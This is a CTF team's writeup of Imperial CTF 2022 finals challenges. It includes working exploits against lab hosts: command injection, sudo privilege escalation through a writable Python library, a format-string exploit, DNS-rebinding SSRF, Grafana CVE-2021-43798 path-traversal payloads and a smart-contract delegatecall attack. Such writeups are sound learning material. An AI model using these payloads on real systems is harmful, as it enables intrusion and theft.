# Imperial CTF 2022 Finals --- Writeups (SHRECS) ![](https://i.imgur.com/7TT7G62.jpg) ![](https://i.imgur.com/8Xu9zzF.png) Team: @face0xff, nardor, rac, y0mmm ## Editorial Work -- Baby We try a command injection thinking a curl might be used, it happens to work ``` http://192.168.125.100:9005/; id ``` returns ``` SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.7 Protocol mismatch. uid=1001(flask-py) gid=1001(flask-py) groups=1001(flask-py) ``` We use it to run `ls` then `cat baby.txt` ![](https://i.imgur.com/eUJ0coR.png) ## Editorial Work -- User Using the command injection we run `ls -la` then `cat .secret` which returns `TOP SECRET: flask-py:flaskpy`. Using those credentials we ssh as the `flask-py` user. <pre style="background:#000"> <span style="color:#fff">flask-py@d2be86246ce6:~$ cat /var/mail/reset </span> <span style="color:#fff">Dear user, </span> <span style="color:#fff"> </span> <span style="color:#fff">I am happy to let you know that we managed to reset your password. </span> <span style="color:#fff"> </span> <span style="color:#fff">Please try to not forget it again, as I had to remember my own password for the administrator account, w</span> <span style="color:#fff">hich was a pain. </span> <span style="color:#fff"> </span> <span style="color:#fff">As a senior member of the security team here, I would suggest that you change your password immediately </span> <span style="color:#fff">to something more secure. If you are having trouble remembering your password, please write it down on a</span> <span style="color:#fff"> piece of paper and stick it to your machine for easy access. Your password is 'imperial123' Do not forg</span> <span style="color:#fff">et to change it. </span> <span style="color:#fff"> </span> <span style="color:#fff">Best, iamrootflask-py@d2be86246ce6:~$ su user </span> <span style="color:#fff">Password: </span> <span style="color:#fff">user@d2be86246ce6:/home/flask-py$ ls </span> <span style="color:#fff">LinEnum.sh baby.txt enumerator.py linpeas.sh linux-enum requirements.txt </span> <span style="color:#fff">user@d2be86246ce6:/home/flask-py$ cd </span> <span style="color:#fff">user@d2be86246ce6:~$ ls </span> <span style="color:#fff">root.txt user.txt </span> <span style="color:#fff">user@d2be86246ce6:~$ cat user.txt </span> <span style="color:#fff">ICTF{c0mm4nd_3x3cut10n_15_4ll_y0u_n33d} </span> <span style="color:#fff">user@d2be86246ce6:~$ </span> </pre> `ICTF{c0mm4nd_3x3cut10n_15_4ll_y0u_n33d}` ## Editorial Work -- Root <pre style="background:#000"> <span style="color:#fff">user@d2be86246ce6:~$ ls -lah /usr/lib/python3.6/webbrowser.py </span> <span style="color:#fff">-rwxrwxrwx 1 root root 22K Jun 11 16:17 /usr/lib/python3.6/webbrowser.py </span> <span style="color:#fff">user@d2be86246ce6:~$ sudo -l </span> <span style="color:#fff">Matching Defaults entries for user on d2be86246ce6: </span> <span style="color:#fff"> env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin </span> <span style="color:#fff"> </span> <span style="color:#fff">User user may run the following commands on d2be86246ce6: </span> <span style="color:#fff"> (root) NOPASSWD: /usr/bin/python3.6 /home/flask-py/enumerator.py </span> </pre> Running `sudo -l` shows that the user `user` may execute `/usr/bin/python3.6 /home/flask-py/enumerator.py` with root privileges. However, we can't edit `enumerator.py`. Looking at all the writable files, with `find / -type f -writable 2>/dev/zero|grep -v "/proc"` we find that `/usr/lib/python3.6/webbrowser.py` is world-writable. Furthermore, it is imported by `enumerator.py`. If we prepend the content of `/usr/lib/python3.6/webbrowser.py` with `os.system("/bin/bash")` then execute `sudo /usr/bin/python3.6 /home/flask-py/enumerator.py`, we get a root shell. `ICTF{m4d_l1bs_1s_much_b3tt3r_1n_python}` ## AuthPy The binary's code is provided: ```c #include <stdio.h> #include <stdbool.h> static bool authenticated = false; void authenticate(char *user) { if (user == "1337_H4X0R") authenticated = true; } int main() { setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); char username[64]; printf("Enter your username: "); scanf("%63s", username); printf("Authenticating user: "); printf(username); printf("...\n"); authenticate(username); if (authenticated) { printf("Access granted, enjoy your shell!\n"); system("/bin/sh"); } else { printf("Access Denied!\n"); } return 0; } ``` There is a format string vulnerability because the user input is directly passed to `printf`. We can exploit it to overwrite the `authenticated` global variable and pass the check: ```python3 from pwn import * p = remote("192.168.125.100", 9101) p.sendline(b"AAAAAAAABBBB%8$n" + p64(0x404089)) # &authenticated = 0x404089 p.interactive() ``` `ICTF{i_sw3AR_tHaT_buFF3R_w4s_b1g_en0uGH...}` ## Stars We are given a file with IQ samples (complex). Let's try plotting the constellation diagram: ![](https://i.imgur.com/mnDWi9c.png) All samples have roughly the same module, so this hints at PSK (Phase Shift Keying). Moreover, if we zoom in pretty much anywhere: ![](https://i.imgur.com/bUirWq3.png) We notice distinct groups of points. There are 256 groups, which hints at 256-PSK. One sample would be then mapped to a byte. Data seems to be quite uniformely distributed, probably because there's a lot of random data in the transmitted message. However, if we plot the diagram in 3D by adding the "time" dimension, we get a nice spiral with something interesting in the middle: ![](https://i.imgur.com/W7HaEnU.png) ![](https://i.imgur.com/VqVxDC6.png) In the index range [1000, 1175], the phases seem to be concentrated in a specific interval (and not uniformly randomly distributed). If we restrict the constellation diagram to this index range: ![](https://i.imgur.com/8J1JY81.png) This probably means we'll get some ASCII printable text in the middle of the transmission, hopefully containing the flag. Now we wasted a lot of time mapping each group of points to a byte, in a sequential, contiguous manner (0, 1, 2...). We tried clockwise, anti-clockwise, and brute-forcing the starting offset, without success. The key to the challenge was **gray code**. Indeed, if we look at examples of QPSK (4-PSK) or 8-PSK, they usually leverage gray code to index the symbols, reducing the hamming distance of adjacent symbols to 1. ```python import numpy as np import cmath import matplotlib.pyplot as plt with open("signal.txt", "r") as fd: data = fd.read() data = data.replace("i", "j") data = data.replace(" ", "") data = data.split("\n") data = [complex(d) for d in data] re = [x.real for x in data] im = [x.imag for x in data] # # constellation diagram # fig, ax = plt.subplots() # ax.scatter(re, im) # plt.show() # # 3D # fig = plt.figure() # ax = fig.add_subplot(projection='3d') # ax.scatter(range(len(re)), re, im) # plt.show() n = 8 gray = [] for i in range(1 << n): gray.append(i ^ (i >> 1)) step = (1.047221 - 0.360) / 28 print("npoints =", 2 * np.pi / step) arguments = [np.angle(x) + np.pi for x in data] decoded = [int(x / step) for x in arguments] for i in range(256): out = bytes(gray[(x + i) % 256] for x in decoded[1000:1175]) if b"ICTF" in out: print(i, out) ``` We get the message and the flag: ``` 110 b'Hey hacker! Here is some padding to make decoding easier (26789z). Anyway, I have a secret message for you: ICTF{514rs_4nD_c0n5t3lLat1oNs_4r3_c0ol_r1ght?!!} I hope you like it' ``` ## Table Tennis Madness We noticed each match consisted of 16 hits of the ball. We focused on the player on the right. If the player hit the ball back diagonally, we noted "0", and if they hit the ball back straight, we noted "1". This gave `ICTF{T4bL3_t3Nn!5_X0r}` ## Unique We notice the colors in `Description.txt` are uniquely mapped to pixels in the image. If we draw lines between each couple of pixels, we can see the flag. ```python from PIL import Image, ImageDraw f = open("Description.txt", "r").read() img = Image.open("Unique.png") w, h = img.size colors = [] for i, line in enumerate(f.split("\n")): c1, c2 = line.split(' ') r1, g1, b1 = map(int, bytes.fromhex(c1[1:])) r2, g2, b2 = map(int, bytes.fromhex(c2[1:])) colors += [(r1, g1, b1), (r2, g2, b2)] locations = {} for y in range(h): for x in range(w): c = img.getpixel((x, y)) if c in colors: locations[c] = (x, y) new = Image.new("RGB", (w, h)) draw = ImageDraw.Draw(new) for i in range(0, len(colors), 2): c1, c2 = colors[i:i + 2] x1, y1 = locations[c1] x2, y2 = locations[c2] draw.line([(x1, y1), (x2, y2)], fill=(0xFF,) * 3) new.save("out.png") ``` ![](https://i.imgur.com/NSPfHad.png) `ICTF<UNIQUE_I_AM>` ## BLE Chaos This is the code running on the arduino: ```c #include <ArduinoBLE.h> BLEService spaceService("19B10000-E8F2-537E-4F6C-D104768A1214"); BLEByteCharacteristic IndexService("19B10001-E8F2-537E-4F6C-D104768A1214", BLERead | BLEWrite); BLEByteCharacteristic MessageService("19B10002-E8F2-537E-4F6C-D104768A1214", BLERead); // message String message = "{REDACTED}" void setup() { Serial.begin(9600); if (!BLE.begin()) { Serial.println("starting BLE failed!"); while (1); } BLE.setLocalName("CTF Space Service"); BLE.setAdvertisedService(spaceService); spaceService.addCharacteristic(IndexService); spaceService.addCharacteristic(MessageService); BLE.addService(spaceService); IndexService.writeValue(0); MessageService.writeValue(0); BLE.advertise(); } uint32_t timer = millis(); void loop() { BLEDevice central = BLE.central(); if (central) { timer = millis(); while (central.connected()) { if (IndexService.written()) { Serial.println(IndexService.value()); MessageService.writeValue(message[IndexService.value()]); Serial.println(message[IndexService.value()]); delay(1000); central.disconnect(); } if(millis() - timer > 5000) { central.disconnect(); } } } } ``` We can read one byte of `message` at a time by writing the index to `IndexService` then reading form `MessageService`. We used the `gatttool` tool to communicate via BLE. The connection was very unreliable so the script keeps on sending the commands until we check that our desired index has been written to `IndexService` and that the read from `MessageService` succeeded. ```python from pwn import * import subprocess flag = [] for i in range(256): print(flag) while True: cmd = ["gatttool", "-b", "7C:9E:BD:3B:22:F2", "-a", "0x000c", "--char-write-req", f"--value={p8(i).hex()*2}"] ret = subprocess.run(cmd, capture_output = True) cmd = ["gatttool", "-b", "7C:9E:BD:3B:22:F2", "--char-read", "-a", "0x000c"] ret1 = subprocess.run(cmd, capture_output = True) if len(ret1.stderr) == 0: outp = ret1.stdout.decode() idx_asc = outp.strip().split(":")[1] idx = int(idx_asc, 16) cmd = ["gatttool", "-b", "7C:9E:BD:3B:22:F2", "--char-read", "-a", "0x000e"] ret2 = subprocess.run(cmd, capture_output = True) if len(ret2.stderr) == 0: outp = ret2.stdout.decode() val_asc = outp.strip().split(":")[1] val = int(val_asc, 16) if len(ret1.stderr) == 0 and len(ret2.stderr) == 0: print(f"Idx: {hex(idx)} Value: {chr(val)}") if idx == i: flag.append(chr(val)) sleep(2) break ``` After some time: `ICTF{7hiS_c0uLd_h4v3_b3en_A_pR0gr4mMiNg_cH4lLenge!_bUt_aRdU1n0_1S_k1nDa_H4rDwaRe_(_0r_1s_it_...)}` ## Discrepancies We're given a pdf and the description mentions "differences" so we looked for the original version of the pdf online and found it on github: https://github.com/OliverKillane/Imperial-Computing-Year-2-Notes/blob/master/50005%20-%20Networks%20and%20Communications/50005%20-%20Networks%20and%20Communications%20full%20notes.pdf The description is "Small differences add up." which implies that we should add the bytes that differ in both pdfs. Converting the resulting numbers to characters gets us the flag. ```python with open("Notes.pdf", "rb") as fd: notes = fd.read() with open("Notes_orig.pdf", "rb") as fd: notes_orig = fd.read() flag = [] for i in range(len(notes)): if notes[i] != notes_orig[i]: print(f"Diff {hex(i)} : {notes[i]} {notes_orig[i]}") car = notes[i] + notes_orig[i] flag.append(chr(car)) print("".join(flag)) ``` ```bash Diff 0x26c60e : 23 50 Diff 0x26daf7 : 7 60 Diff 0x26e799 : 37 47 Diff 0x26f0a2 : 42 28 Diff 0x26f127 : 8 115 Diff 0x26f2ec : 25 49 Diff 0x26f33b : 97 20 Diff 0x26f353 : 26 27 Diff 0x26f7cb : 40 15 Diff 0x26f8e6 : 84 11 Diff 0x26f975 : 43 42 Diff 0x2b98a9 : 31 22 Diff 0x2ba435 : 51 0 Diff 0x2ba479 : 22 73 Diff 0x2ba5ea : 33 35 Diff 0x2ba92f : 26 23 Diff 0x2baaa9 : 58 44 Diff 0x2baaac : 25 77 Diff 0x2bac17 : 81 14 Diff 0x2bb714 : 70 8 Diff 0x2bb9aa : 38 10 Diff 0x2bbb17 : 4 91 Diff 0x35f5f6 : 10 60 Diff 0x35fa47 : 16 36 Diff 0x3600c9 : 50 60 Diff 0x36026a : 48 19 Diff 0x3605c4 : 21 100 Diff 0x360889 : 14 81 Diff 0x360c2c : 32 23 Diff 0x46016d : 46 65 Diff 0x4606c0 : 9 39 Diff 0x461668 : 84 24 Diff 0x461927 : 3 50 Diff 0x488bc6 : 74 51 ICTF{Ju57_U53_D1ff_N0_F4nCy_7o0l5} ``` ## Schedule Code > *I've welcomed you this morning.* So we went back on our steps and did the onboarding way slowly. We noticed the corner of the sponsor space screen flashing. After approaching, we read "Welcome!". That's it. We observed long, short and red flashes. It looked like morsecode. After some time trying to figure the flag only by observing, we decided it was too obvious doing that in the sponsor space (a CTF participant filming the corner of a screen **is** suspicious), and we took the URL to do this at our table. We were thinking it was a gif, it was actually a script displaying the morse code. And in the source of this script: ```javascript const lampPattern = '.. -.-. - ..-. .-.-.- .. -....- ... ...-- ...-- -....- -.-- ----- ..- .----. ...- ...-- -....- ..-. --- ..- -. -.. -....- -- . .-.-.-'; ``` Which is `ICTF.I-S33-Y0U'V3-FOUND-ME.` Combining it with the uppercase/lowercase instruction to retrieve the expected format (lost when converted to morse) it resulted in `ICTF.I-s33-Y0u'V3-FoUnD-Me.`. ## Roots and Routes ### The challenge The website offers an SSRF feature. But it has some checks to ensure it doesn't hit a request on itself. Althought this is what we need to obtain the flag. ```python @app.route("/give_flag") def admin(): print(f"/give_flag: {flask.request.remote_addr = }") if flask.request.remote_addr not in ["127.0.0.1", "::1", "::ffff:127.0.0.1"]: return """ <html> <head> <title>Not the admin page</title> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css"> </head> <body style="background:black"> <div class="d-flex justify-content-center"> <h1>You failed.</h1> <br/> <h2>Forbidden</h2> </div> </body> </html> """ msg = """ <html> <head> <title>Admin page</title> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css"> </head> <body style="background:green"> <br/> <h1 class="d-flex justify-content-center">Welcome back, admin!</h1> <h3 class="d-flex justify-content-center">Your flag has been stored safely below.</h1> <h6 class="d-flex justify-content-center">Flag: %s</h6> </body> </html> """ % ( FLAG ) return msg ``` The server follows about this flow chart to decide whether it will fetch the page or not. <img src="https://i.imgur.com/enhHIIw.png" style="width:500px"/> * A first DNS resolution to ensure the resolved IP is not a local one (orange) * A fetch (with a new implicit DNS resolution as it keeps working with the hostname) (green) ### The exploit Using some DNS rebinding tool (http://1u.ms/ for instance), we generate some domain name that will be resolved differently by two close DNS requests. For instance: ``` make-142.250.200.14-rebind-127.0.0.1-rr.1u.ms:5000/give_flag ``` At the first resolution (orange) it will point to `142.250.200.14`. The following request (green) will point to `127.0.0.1`. And voilà. ![](https://i.imgur.com/KcV70Vx.png) ## ETCP We connect to the server: <pre style="background:rgba(20,20,40,0.9)"> <span style="color:#fff">╭─</span><b><span style="color:#67F86F">face@0xff</span></b><span style="color:#fff"> </span><b><span style="color:#6A76FB">~/ctf/imperial/finals </span></b><span style="color:#fff"> </span> <span style="color:#fff">╰─</span><b><span style="color:#fff">$</span></b><span style="color:#fff"> nc 192.168.125.100 9003 </span> <span style="color:#fff"> </span> <span style="color:#fff">Establishing new connection with ('10.2.0.4', 37838) </span> <span style="color:#fff">Beginning handhsake </span> <span style="color:#fff"> </span> <span style="color:#fff">{"frame": 0, "handshake_complete": false, "connection_key": "i", "corruption_check": 883092, "stat</span> <span style="color:#fff">us": "OK"} </span> </pre> We try sending back the same JSON, and get this: <pre style="background:rgba(20,20,40,0.9)"> <span style="color:#fff">╭─</span><b><span style="color:#67F86F">face@0xff</span></b><span style="color:#fff"> </span><b><span style="color:#6A76FB">~/ctf/imperial/finals </span></b><span style="color:#fff"> </span> <span style="color:#fff">╰─</span><b><span style="color:#fff">$</span></b><span style="color:#fff"> nc 192.168.125.100 9003 </span> <span style="color:#fff"> </span> <span style="color:#fff">Establishing new connection with ('10.2.0.4', 37840) </span> <span style="color:#fff">Beginning handhsake </span> <span style="color:#fff"> </span> <span style="color:#fff">{"frame": 0, "handshake_complete": false, "connection_key": "i", "corruption_check": 883092, "stat</span> <span style="color:#fff">us": "OK"} </span> <span style="color:#fff">{"frame": 0, "handshake_complete": false, "connection_key": "i", "corruption_check": 883092, "stat</span> <span style="color:#fff">us": "OK"} </span> <span style="color:#fff">{"frame": 1, "handshake_complete": false, "connection_key": "#", "corruption_check": 216648, "stat</span> <span style="color:#fff">us": "Handshake Failed. Bye"} </span> <span style="color:#fff">{"frame": "#", "handshake_complete": true, "connection_key": "#", "corruption_check": "#", "status</span> <span style="color:#fff">": "Complete. Bye"}</span> </pre> After a lot of groping around and guessing, we understand we can send valid messages as long as we have the correct frame number and corruption check number. We can find the next corruption check number by sending pretty much anything to the server and observing the answer. We can then brute-force the "connection_key" one byte at a time. The exploit runs (in a few hours!!!): ```python from pwn import * from string import printable from json import loads, dumps charset = printable corruption_checks = [883092] connection_key = "i" while True: r = remote("192.168.125.100", 9003) r.recvuntil(b'OK"}\n') for i in range(1, len(connection_key), 2): r.sendline(to_send := dumps({ "frame": i, "handshake_complete": False, "connection_key": connection_key[i], "corruption_check": corruption_checks[i], }).encode()) r.recvline() r.sendline(dumps({ "frame": len(connection_key), "handshake_complete": False, "connection_key": "&", }).encode()) json = loads(r.recvline().decode()) corruption_checks.append(json["corruption_check"]) print(corruption_checks) for guess in charset: r = remote("192.168.125.100", 9003) r.recvuntil(b'OK"}\n') print(connection_key + guess) for i in range(1, len(connection_key), 2): r.sendline(to_send := dumps({ "frame": i, "handshake_complete": False, "connection_key": connection_key[i], "corruption_check": corruption_checks[i], }).encode()) print("sent:", to_send) r.recvline() r.sendline(to_send := dumps({ "frame": len(connection_key), "handshake_complete": False, "connection_key": guess, "corruption_check": corruption_checks[-1] }).encode()) print("sent:", to_send) json = loads(r.recvline().decode()) print("recv:", json) if "OK" in json["status"]: break r.close() connection_key += guess + json["connection_key"] print(connection_key) corruption_checks.append(json["corruption_check"]) print(corruption_checks) ``` Flag: `ICTF{3nh4nc3d_tcp_1s_much_b3tt3r_th4n_r3gul4r_tcp_pl345e_u53_1t_fr0m_n0w_0n_1f_y0u_g3t_th3_fl4g}` ## Grafana ### The vulnerability Looking for known CVEs for 8.1.7 rapidly leads us to CVE-2021-43798. Using payloads like `http://192.168.125.100:3000/public/plugins/grafana/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc/passwd` we can access arbitrary files on the server's file system. ### The guess Eventually we ended up **guessing** that the flag is in `/etc/flag.txt` `http://192.168.125.100:3000/public/plugins/grafana/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fflag.txt`. `ICTF{schlumberger-54b0f4d1-fe2c-4d9d-9cd8-41635d671c52}` ## Blockchain Application Firewall ### The challenge Some blockchain application is behind a `BlockchainApplicationFirewall` (BAF), the BAF has a few features and will delegate everything else to the `KingOfTheHill` game smart contract. ### Objective According to [this site](https://eip2535diamonds.substack.com/p/understanding-delegatecall-and-how?s=r) if a smart contract A delegates a call to a smart contract B, only the A state can be modified. >The state variables in ContractA can be read and written. >The state variables in ContractB are never read or written When delegating, the used state is actually the **caller**s state. Therefore, when delegating, modifying `KingOfTheHill.owner` actually modifies `BlockchainApplicationFirewall.owner`. ```solidity contract BlockchainApplicationFirewall { bytes32 public allowMask = 0; address public implementation; address public owner; ... ``` ```solidity contract KingOfTheHill { uint256 public totalDeposited; uint256 public highestDeposit; address public owner; uint256 public potSize; address public king; uint256 public lastDeposit; ... } ``` Note the following feature of the `KingOfTheHill` game. This is exactly the code we need to run. ```solidity contract KingOfTheHill { ... function setOwner(address _owner) external { owner = _owner; } } ``` So if we can get the BAF (`BlockchainApplicationFirewall`) to call this function with `0xdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef`, it should set the owner of the BAF contract. ### Issue The BAF implements a blocklist, forbidding some bytes to be used in arguments. ```solidity contract BlockchainApplicationFirewall { ... fallback() external payable { enforceWhitelist(); assembly { let impl := sload(implementation.slot) calldatacopy(0, 0, calldatasize()) let result := delegatecall(gas(), impl, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) switch result case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } function enforceWhitelist() private view { bool blocked = false; assembly { let mask := sload(allowMask.slot) let numchunks := div(calldatasize(), 32) for { let i := 0 } and(lt(i, numchunks), eq(blocked, 0)) { i := add(i, 1) } { let chunk := calldataload(mul(i, 32)) for { let j := 0 } and(lt(j, 32), eq(blocked, 0)) { j := add(j, 1) } { let data_byte := and(shr(mul(j, 8), chunk), 0xff) blocked := eq(and(shl(data_byte, 1), mask), 0) } } } require(!blocked, "bad byte"); } } ``` After understanding the `enforceWhitelist` behavior, we understand that every byte `B` of the arguments are whitelisted if the bit at bit `b=mask[B]` is at `1`. For instance `allowMask = 0xffffffffffffffffffff7f7ffffffffffffffffffffffffffffffffffffffff6` would allow everything but `[0xAF, 0xA7, 0x03, 0x00]`. It happens that the `BlockchainApplicationFirewall.allowMask` state variable is located at the same spot as `KingOfTheHill.totalDeposited`. Therefore when `deploy.sh` runs `play({value: 1})` it adds 1 to the mask, allowing zeroes to be passed as variables. When calling `setOwner("0xdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef")` and debugging, we figure that the chunk evaluated in the `enforceWhiteList` is `0x13af4035000000000000000000000000deadbeefdeadbeefdeadbeefdeadbeef`. * `13af40` might be some sort of signature, we don't know the details about it * some `00` padding the actual argument. * the payload `deadbeefdeadbeefdeadbeefdeadbeef` The `00` were allowed in the whitelist by the deploy script. The `af` byte is blacklisted. We need to keep editing the mask in order to allow this byte. We can't do that by playing as we don't have enough `ETH`. We do this using the `KingOfTheHill.surrender` function with an arbitrary value. `0xffffffffffffffffffff7f7ffffffffffffffffffffffffffffffffffffffff8` ### Exploit ```javascript= async function main() { // The addresses used for the attach() calls should be the addresses of the // two contracts on your local hardhat node. const winAddress = "0xdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef"; const KingOfTheHill = await ethers.getContractFactory("KingOfTheHill"); const kingOfTheHill = await KingOfTheHill.attach( "0x2A9762996C283ae532C1B8D5b18E60ADdE36d828" ); const BlockchainApplicationFirewall = await ethers.getContractFactory( "BlockchainApplicationFirewall" ); const blockchainApplicationFirewall = await BlockchainApplicationFirewall.attach( "0x83DDa5669B703Ea484219E23DC8c1886D8C90F3c" ); const proxiedKing = await KingOfTheHill.attach( blockchainApplicationFirewall.address ); /** * =========================== * YOUR SOLUTION HERE * =========================== */ // BECOME KING AGAIN SO WE CAN SURRENDER await proxiedKing.play({ value: ethers.utils.parseUnits("2", "wei") }); try { // CALL SURRENDER TO CHANGE `KingOfTheKill.totalDeposit(_initialDeposit)` by (- _initialDeposit)/2 // WE COULD COMPUTE AN ELEGANT VALUE BUT IT HAPPENS TO WORK console.log( "surr", await proxiedKing.surrender( "0xffffffffffffffffffff7f7ffffffffffffffffffffffffffffffffffffffff8" ) ); } catch (e) { console.log(e); } try { console.log("mask", await blockchainApplicationFirewall.allowMask()); } catch (e) { console.log(e); } try { // SET THE OWNER IN ORDER TO WIN const res2 = await proxiedKing.setOwner( "0xdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef" ); console.log("FL2", res2); } catch (e) { console.log(e); } console.log("allowMask", await blockchainApplicationFirewall.allowMask()); const owner = await blockchainApplicationFirewall.owner(); if (owner.toLowerCase() == winAddress) { console.log("Solved!"); } else { console.log("Nope, owner: ", owner); } } main() .then(() => process.exit(0)) .catch((error) => { console.error(error); process.exit(1); }); ``` `ICTF{deleg4te_c4ll_1s_fun}` ## 3AES Idea: there's only 24 bits of entropy for $k_1$ so we can brute-force it. For each $k_1$ hypothesis, we can perform a meet-in-the-middle because of this equation: $C_1^{-1}(\text{ciphertext}) = C_2(C_1(\text{plaintext}))$ As we are given a (plaintext, ciphertext) couple (for "mobius"), we can compute $C_1^{-1}(\text{ciphertext})$ and $C_1(\text{plaintext})$ for our $k_1$ hypothesis. By XORing the two computed values, we should get the OTP used for $C_2$. As $k_2$ is only 8 bytes, we know we have the correct $k_1$ hypothesis if the resulting XOR is 8 bytes repeated twice. Exploit: ```python from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad from Crypto.Hash import SHA256 from pwn import xor aesenc = lambda k, m: AES.new(k, AES.MODE_ECB).encrypt(m) aesdec = lambda k, m: AES.new(k, AES.MODE_ECB).decrypt(m) c_morbius = b'\xcb\x961\x05\x17\xee:\x8f\xcc\xfe\xcf8\x86\x80\x0f\xb1' c_flag = b"\x0b\xbdB\n\x0ey\xa7\x8f\xd6f\xcc\xf2\xf6\xdah\xd8\xdc\x93\x85\xae3\xfe\x15'\xa5\x9c\x0cS\x07=5\xbb" for A in range(256): print(A) for B in range(256): for C in range(256): d1 = SHA256.new() d1.update(bytes([A, B, C])) k1 = d1.digest()[:16] _ = xor(aesdec(k1, c_morbius), aesenc(k1, pad(b"morbius", 16))) if _[:8] == _[-8:]: print(bytes([A, B, C])) k2 = _[:8] print(k2) flag = aesdec(k1, xor(k2 * 2, aesdec(k1, c_flag))) print(flag) exit() # ICTF{J1mMy_3At_w0Rld_M0m3NT} ``` ## Vectorized Implementation We are given powers of an int *g* mod *p*, prime. The different powers are the key rotated. We can write: $\begin{split} \forall i \in [0, 127], \:& A_{i} = {g}^{k \times {2}^{8}+ b} \\ & {A^{256}_{i+1}} \times {g}^{b} = {g}^{2^{8 \times 128} \times b} \times A_{i} \end{split}$ We can then bruteforce the byte b to verify the equality and retrieve the key: ```python= key=[] n = len(A) for i in range(n-1, 0, -1): for hyp in range(256): op1 = (pow(A[(i+1)%n], 256, p) * pow(g, hyp, p)) % p op2 = (pow(g, hyp*2**(8*(n)), p) * A[i%n]) % p if op1 == op2: key.append(hyp) print(bytes(key)) #ICTF{s1nc3_wh3N_i5_m0Re_1nF0RmAtI0n_LESS_s3CurE??} ``` ## Lost in Memory There are two parts to the circuit: * A permutation layer on the 16-bit input * The intermediate output is split in two parts of 8-bits each * The second 8-bit part goes through logic gates and is eventually reduced to 1 bit which is used as a selector to filter the values given by the first 8-bit parts We have to brute-force the missing links in the permutation layer and the missing logic gates in the selector layer. ```python import itertools def bin_to_ascii(b): out = [] for i in range(0, len(b), 8): out += [int(b[i:i + 8], 2)] return bytes(out) ops = [int.__and__, int.__or__, int.__xor__] *f, = map(int, open("floppy.txt").readlines()) for A in ops: for B in ops: for C in ops: for D in ops: for p in itertools.permutations([0, 2, 3, 9, 11, 15]): P = {} P[p[0]] = 0 P[1] = 8 + 1 P[p[1]] = 4 P[p[2]] = 5 P[4] = 1 P[5] = 8 + 3 P[6] = 8 + 4 P[7] = 2 P[8] = 3 P[p[3]] = 8 + 0 P[10] = 8 + 5 P[p[4]] = 8 + 2 P[12] = 8 + 6 P[13] = 6 P[14] = 7 P[p[5]] = 8 + 7 bits = "" for number in f: intermediate_number = [0] * 16 for j in range(16): bit = (number >> j) & 1 intermediate_number[P[j]] = bit m = intermediate_number[-8:] out_bit = (A(m[0], m[2]) | D(B(m[1], m[4]), C(m[5], m[6]) & m[3] & m[7])) ^ 1 if out_bit: bits += "".join(str(_) for _ in intermediate_number[:8][::-1]) out = bin_to_ascii(bits) print(p, out) ``` This gives a lot of possibilities, but by grepping out `ICTF` we get these candidates: ``` b'ICTF{t415_IS_4_R4ND0M_F74G_BU7_7ey_H4RDAwaRe_3v_iS_c0ol_r1gHt?}' b'ICTF{t415_IS_4_R4ND0M_F74G_BU7_7ey_H4RDAwaRe_3v_iS_c0ol_r1gHt?}' b'ICTF{t415_IS_4_R4ND0M_F74G_BU7_7ey_H4RDAwaRe_3v_iS_c0ol_r1gHt?}' b'ICTF{t415_IS_4_R4ND0M_F74G_BU7_7ey_H4RDAwaRe_3v_iS_c0ol_r1gHt?}' b'ICTF{t415_IS_4_R4ND0M_F74G_BU7_7ey_HDAwaRe_3v_iS_c0ol_r1gHt?}' b'ICTF{t415_IS_4_R4ND0M_F74G_BU7_7ey_HDAwaRe_3v_iS_c0ol_r1gHt?}' b'ICTF{t415_IS_4_R4ND0M_F74G_BU7_7ey_HDAwaRe_3v_iS_c0ol_r1gHt?}' b'ICTF{t415_IS_4_R4ND0M_F74G_BU7_7ey_HDAwaRe_3v_iS_c0ol_r1gHt?}' b'ICTF{t415_IS_4_R4ND0M_F74G_BU7_7ey_HDAwaRe_r3v_iS_c0ol_r1gHt?}' b'ICTF{t415_IS_4_R4ND0M_F74G_BU7_7ey_HDAwaRe_r3v_iS_c0ol_r1gHt?}' b'ICTF{t415_IS_4_R4ND0M_F74G_BU7_7ey_HDAwaRe_r3v_iS_c0ol_r1gHt?}' b'ICTF{t415_IS_4_R4ND0M_F74G_BU7_7ey_HDAwaRe_r3v_iS_c0ol_r1gHt?}' b'ICTF{t415_IS__R4ND0M_F74G_BU7_7ey_H4RDAwaR_3v_iS_c0ol_r1gHt?}' b'ICTF{t415_IS__R4ND0M_F74G_BU7_7ey_H4RDAwaR_3v_iS_c0ol_r1gHt?}' b'ICTF{t415_IS__R4ND0M_F74G_BU7_7ey_H4RDAwaR_3v_iS_c0ol_r1gHt?}' b'ICTF{t415_IS__R4ND0M_F74G_BU7_7ey_H4RDAwaR_3v_iS_c0ol_r1gHt?}' b'ICTF{t415_IS__R4ND0M_F74G_BU7_7ey_H4RDAwaR_r3v_iS_c0ol_r1gHt?}' b'ICTF{t415_IS__R4ND0M_F74G_BU7_7ey_H4RDAwaR_r3v_iS_c0ol_r1gHt?}' b'ICTF{t415_IS__R4ND0M_F74G_BU7_7ey_H4RDAwaR_r3v_iS_c0ol_r1gHt?}' b'ICTF{t415_IS__R4ND0M_F74G_BU7_7ey_H4RDAwaR_r3v_iS_c0ol_r1gHt?}' ``` After a bit of trial and error, we find the correct flag: `ICTF{t415_IS_4_R4ND0M_F74G_BU7_7ey_H4RDAwaRe_r3v_iS_c0ol_r1gHt?}` ## ECSC We google stuff like "Panayiotis Gavriil ECSC". We stumble upon two main sources of information: * https://ccs.org.cy/en/page/european-cyber-security-challenge/ * https://www.facebook.com/CCSC.Cyprus/photos/a.264656317598548/442638766466968/?type=3 With some trial and error, we manage to find the correct cities. Flag: `ICTF{Malaga_London_Bucharest}` ## Even More Ideal Pseudo Random Didn't even start 